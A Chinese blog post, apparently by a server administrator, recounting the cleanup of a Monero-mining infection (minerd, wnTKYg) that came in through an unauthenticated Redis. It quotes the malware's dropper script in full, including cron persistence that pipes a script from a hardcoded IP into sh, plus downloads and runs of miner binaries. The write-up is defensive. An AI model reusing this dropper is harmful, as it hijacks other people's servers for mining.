今天登录服务器感觉服务器特别的慢。结果查看发现有两个进程占用CPU100%了,一个是minerd一个是wnTKYg。如果大家遇到请小心。
?查看服务器各个程序占用资源量
[root@iZ2zeayj54m6qs0689jm ~]# top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1331 root 20 0 233m 5392 1076 S 99.8 0.1 58:24.44 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8
1406 root 20 0 223m 5032 704 S 98.8 0.1 54:42.39 /tmp/wnTKYg
#在显示的时候按c键出现程序的路径
或者按以下方式找出占用内存大的程序路径
[root@iZ2zeayj54m6qs0689jm ~]# ps -ef | grep minerd
root 1331 1 99 12:46 ? 00:59:48 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
root 2526 1339 0 13:46 pts/0 00:00:00 grep minerd
[root@iZ2zeayj54m6qs0689jm ~]# ps -ef | grep wnTKYg
root 1406 1 98 12:50 ? 00:56:50 /tmp/wnTKYg
root 2538 1339 0 13:47 pts/0 00:00:00 grep wnTKYg
?杀死占用内存大的程序
[root@iZ2zeayj54m6qs0689jm opt]# kill -9 1406
[root@iZ2zeayj54m6qs0689jm opt]# kill -9 1331
?然后根据查看到的程序路径,进入目录内,将目录里的文件删除
[root@iZ2zeayj54m6qs0689jm ~]# cd /tmp/
[root@iZ2zeayj54m6qs0689jm tmp]# ls
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)> duckduckgo.23.log hsperfdata_root wnTKYg
ddg.1001 dump.rdb qtsingleapp-aegisG-46d2
[root@iZ2zeayj54m6qs0689jm tmp]# rm -rf ./*
[root@iZ2zeayj54m6qs0689jm tmp]# cd /opt/
KHK75NEOiq33 minerd rh/
[root@iZ2zeayj54m6qs0689jm tmp]# cd /opt/
[root@iZ2zeayj54m6qs0689jm opt]# ls
KHK75NEOiq33 minerd rh
[root@iZ2zeayj54m6qs0689jm opt]# rm -rf ./*
?之后检查开机自动启动或者定时任务里是否有不正常自启动和定时任务
我中的病毒是写在定时任务的一个任务。指向一个网站自动下载一个脚本。我下下来看了下
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo “/5 * * * * curl -fsSL http://104.131.145.109/i.sh?8 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "/5 * * * * curl -fsSL http://104.131.145.109/i.sh?8 | sh” > /var/spool/cron/crontabs/root
if [ ! -f “/tmp/ddg.1001” ]; then
curl -fsSL http://104.131.145.109/1001/ddg.$(uname -m) -o /tmp/ddg.1001
fi
chmod +x /tmp/ddg.1001 && /tmp/ddg.1001
CleanTail()
{
ps auxf|grep -v grep|grep /tmp/duckduckgo|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “/usr/bin/cron”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “/opt/cron”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “/usr/sbin/ntp”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “/opt/minerd”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “mine.moneropool.com”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xmr.crypto-pool.fr:8080”|awk ‘{print $2}’|xargs kill -9
}
DoTKY()
{
if [ ! -f “/tmp/wnTKYg” ]; then
curl -fsSL http://104.131.145.109/wnTKYg -o /tmp/wnTKYg
fi
chmod +x /tmp/wnTKYg
/tmp/wnTKYg
}
DoTKYnoAES()
{
if [ ! -f “/tmp/wnTKYg.noaes” ]; then
curl -fsSL http://104.131.145.109/wnTKYg.noaes -o /tmp/wnTKYg.noaes
fi
chmod +x /tmp/wnTKYg.noaes
/tmp/wnTKYg.noaes
}
ps auxf|grep -v grep|grep “AnXqV”|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “wnTKYg” || DoTKY
ps auxf|grep -v grep|grep “wnTKYg” || DoTKYnoAES
脚本是这样的,相信大家也都看懂啦。
?top等待查看,看是否还会启动程序。(我的也启动了)如果启动了,检查刚才的步骤是不是没做,如果都做了,就再次杀掉程序就好了。我的是一直没发现问题。
问题总结
?这样的病毒是直接远程连接Redis,一般redis都是root安装的,连接redis也就掌握了root权限,它可以往你的定时任务里写内容。
?中这样的病毒大多都是因为redis没有设置密码,存在着很大的安全漏洞,所以大家要设置redis密码,并且更改redis的端口。安装时最好别用root安装。(后续会更新redis设置密码,和连接java)
?查了些资料看有人说这是在挖币,wnTKYg是门罗币,所以大家要注意服务器的安全,别让自己的资源让别人用来挣钱。